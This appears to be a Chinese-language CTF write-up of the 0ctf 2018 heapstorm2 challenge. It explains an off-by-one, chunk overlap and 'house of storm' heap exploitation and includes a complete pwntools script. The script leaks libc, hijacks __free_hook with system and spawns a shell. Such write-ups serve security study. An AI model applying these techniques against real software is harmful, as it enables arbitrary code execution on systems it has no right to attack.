0ctf2018_heapstorm2_reproduce
概述
打了好久,学到很多
保护全开,libc-2.24
漏洞点在 off-by-one
,打法是利用 off-by-one
缩小 chunk
进行 unlink
然后就可以实现类似 uaf
的 overlap
,是 unlink
的一部分,又是还能用的这种 overlap
有了 overlap
就能实现 house of storm
,也就是同时伪造 large_bin
的 bk_nextsize
和 bk
与 unsorted_bin
的 bk
,实现可写内存的任意申请
过程
overlap chunk
先利用 off-by-one
实现缩小 chunk
,再 unlink
然后就可以实现类似 uaf
的 overlap
要进行两次,一次为了 large_bin
的伪造,一次为了 unsorted_bin
的伪造
第一次 overlap chunk
先进行布局
create(0x18)# 0
create(0x508)# 1
create(0x18)# 2
create(0x18)# 3
create(0x508)# 4
create(0x18)# 5
create(0x18)# 防止 5 进 top
然后伪造 prve_size
,伪造 size
edit(1,0x4f0*b'a'+p64(0x500))# 伪造 prve_size 为 0x500
delete(1)# 被覆盖的 prev_size 恢复
edit(0,(0x18-12)*b'a')# off-by-one 伪造 size 为 0x500
创建一个 0x20
的块,再创建一个 0x4d8
块为后面 overlap
改写其他块内容做准备
# 2 overlap 7,通过 7 能改 2
create(0x18)# 1
create(0x4d8)# 7 uaf overlap
然后进行 unlink
,unlink 前要 free
一下 chunk1
delete(1)# 使 prev_size 为 0x20,不然报 corrupted size vs. prev_size
delete(2)# unlink
这时候就可以 overlap
了
create(0x38)# 1
create(0x4e0)# 2 0x4f0 unsorted
可以看到,用 7
可以控制 2
,我们后面把 2
放进 unsorted
,然后就可以用 7 去改写内容了
pwndbg> x/200xg 0x558c3e47b020
0x558c3e47b020: 0x49495f4d524f5453 0x0000000000000041 <---1
0x558c3e47b030: 0x0000000000000000 0x0000000000000000
0x558c3e47b040: 0x0000000000000000 0x0000000000000000 <---7
0x558c3e47b050: 0x0000000000000000 0x0000000000000000
0x558c3e47b060: 0x0000000000000000 0x00000000000004f1 <---2
改了了 unsorted 还需要改写 large
重复一遍上面过程就行,不过 large_bin
应该要 小于 unsorted_bin
,这样方便实现漏洞利用
# ? overlap 8,通过 8 能改 free块
edit(4,0x4f0*b'a'+p64(0x500))
delete(4)# 被覆盖的 prev_size 恢复
edit(3,(0x18-12)*b'a')
create(0x18)# 4
create(0x4d8)# 8 uaf overlap
delete(4)
delete(5)# unlink
create(0x48)# 4
# 0x4e0 large
放入 large_bin 和 unsorted_bin
这时候就会有一个 0x4e0
的 chunk 在 unsorted
里面,我们要让 0x4f0
的进 unsorted,让0x4e0的进 large
# 放入 large_bin 和 unsorted_bin
delete(2)
create(0x4e0)# 2
delete(2)
第一次 delete(2)
后
可以看到两个 chunk
都进了 unsorted
create(0x4e0)
后,因为 unsorted
是 FIFO
的规则,会先遍历 0x4e0
的块,发现不是精确大小,就放入了 large_bin
,而之后遍历 0x4f0
的块,发现符合条件,就直接返回给用户了,然后我们再 delete(2)
,0x4f0
的块就进了 unsorted
了,我们的目的就实现了
伪造 unsorted 和 large
利用我们之前的 7 和 8 去 overlap
就可以了
# 开始伪造
evil = 0x13370800-0x10
unsorted = p64(0)*2 + p64(0) + p64(0x4f1) + p64(0) + p64(evil) + p64(0) + p64(0)
edit(7,unsorted) # unsorted 伪造 bk
large = p64(0)*4 + p64(0) + p64(0x4e1) + p64(0) + p64(evil+0x8) + p64(0) + p64(evil-0x20+8-5)
edit(8,large) # large 伪造 bk_nextsize bk
这样就可以在 evil
处开出堆块,然后控制指针,就为所欲为了
其他部分
后面就是绕一些题目设置的随机数还有条件之类的,就是 hijack_free_hook
为 system
,然后getshell,看看代码就懂了
# 0x133707f0
try:
create(0x48) # 2 unsorted 往 fd 中写入了 libc,large 往 bk 写 victim堆地址,同时伪造了 size
payload = flat(
0, 0,
0, 0x13377331, # 绕过 show 的判断
0x13370800, 0x70,
)
edit(2, payload)
show(0)
# leak_libc
p.recvuntil(']: ')
p.recvuntil('HEAPSTORM_II')
libc.address = ((u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))) ^ 0x13370800) - 0x3c4b78
log.success('libc.address: ' + hex(libc.address))
system_addr = libc.sym['system']
free_hook = libc.sym['__free_hook']
log.success('free_hook: ' + hex(free_hook))
payload = flat(
0, 0,
0, 0x13377331, # 绕过 show 的判断
0x13370800, 0x50,
free_hook, 0x8,
'/bin/sh\x00', 0x8,
0x13370840, 0x8
)
edit(0, payload)
edit(1, p64(system_addr))
delete(3)
except EOFError:
p.close()
continue
else:
p.interactive()
break
知识
mallopt 函数
int mallopt(int param,int value)
param
取值为 M_MXFAST
M_MXFAST
:定义使用fastbins的内存请求大小的上限
value
:就是设置的大小
题目的 mallopt(1, 0)
就是直接禁用 fastbin
,
/dev/urandom
可以产生更好的随机数
关于程序 crash
题目中有一句
mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0x13370000
也就是说,这题我们最后 create 的地方是 mmap
管理的,所以mmap的标志位要过检查,这题 size
只能是 \x56
而不能是 \x55
,随机化关了才能打
exp
#! /usr/bin/env python3
from pwn import *
arch = 64
challenge = './heapstorm22'
context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc.so.6')
local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '53178')
def debug():
gdb.attach(p)
pause()
bps = []
pie = 1
def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
#cmd=''
if pie:
base = int(os.popen("pmap {}|awk '{{print $1}}'".format(p.pid)).readlines()[1],16)
cmd += ''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd += 'set $base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(p,cmd)
def eat():
p.recvuntil('mand: ')
def create(size):
eat()
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(index, content):
eat()
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content:')
p.send(content)
def delete(index):
eat()
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
def show(index):
eat()
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
while True:
arch = 64
challenge = './heapstorm22'
context.os = 'linux'
context.log_level = 'debug'
if arch == 64:
context.arch = 'amd64'
if arch == 32:
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc.so.6')
local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '53178')
create(0x18)# 0
create(0x508)# 1
create(0x18)# 2
create(0x18)# 3
create(0x508)# 4
create(0x18)# 5
create(0x18)# 6 防止 5 进 top
edit(1,0x4f0*b'a'+p64(0x500))# 伪造 prve_size 为 0x500
delete(1)# 被覆盖的 prev_size 恢复
edit(0,(0x18-12)*b'a')# off-by-one 伪造 size 为 0x500
# 2 overlap 7,通过 7 能改 2
create(0x18)# 1
create(0x4d8)# 7 uaf overlap
delete(1)# 使 prev_size 为 0x20,不然报 corrupted size vs. prev_size
delete(2)# unlink
create(0x38)# 1
create(0x4e0)# 2 0x4f0 unsorted
# ? overlap 8,通过 8 能改 free块
edit(4,0x4f0*b'a'+p64(0x500))
delete(4)# 被覆盖的 prev_size 恢复
edit(3,(0x18-12)*b'a')
create(0x18)# 4
create(0x4d8)# 8 uaf overlap
delete(4)
delete(5)# unlink
create(0x48)# 4
# 0x4e0 large
# 放入 large_bin 和 unsorted_bin
delete(2)
create(0x4e0)# 2
delete(2)
debug()
# 开始伪造
evil = 0x13370800-0x10
unsorted = p64(0)*2 + p64(0) + p64(0x4f1) + p64(0) + p64(evil) + p64(0) + p64(0)
edit(7,unsorted) # unsorted 伪造 bk
large = p64(0)*4 + p64(0) + p64(0x4e1) + p64(0) + p64(evil+0x8) + p64(0) + p64(evil-0x20+8-5)
edit(8,large) # large 伪造 bk_nextsize bk
# 0x133707f0
try:
create(0x48) # 2 unsorted 往 fd 中写入了 libc,large 往 bk 写 victim堆地址,同时伪造了 size
payload = flat(
0, 0,
0, 0x13377331, # 绕过 show 的判断
0x13370800, 0x70,
)
edit(2, payload)
show(0)
# leak_libc
p.recvuntil(']: ')
p.recvuntil('HEAPSTORM_II')
libc.address = ((u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))) ^ 0x13370800) - 0x3c4b78
log.success('libc.address: ' + hex(libc.address))
system_addr = libc.sym['system']
free_hook = libc.sym['__free_hook']
log.success('free_hook: ' + hex(free_hook))
payload = flat(
0, 0,
0, 0x13377331, # 绕过 show 的判断
0x13370800, 0x50,
free_hook, 0x8,
'/bin/sh\x00', 0x8,
0x13370840, 0x8
)
edit(0, payload)
edit(1, p64(system_addr))
delete(3)
except EOFError:
p.close()
continue
else:
p.interactive()
break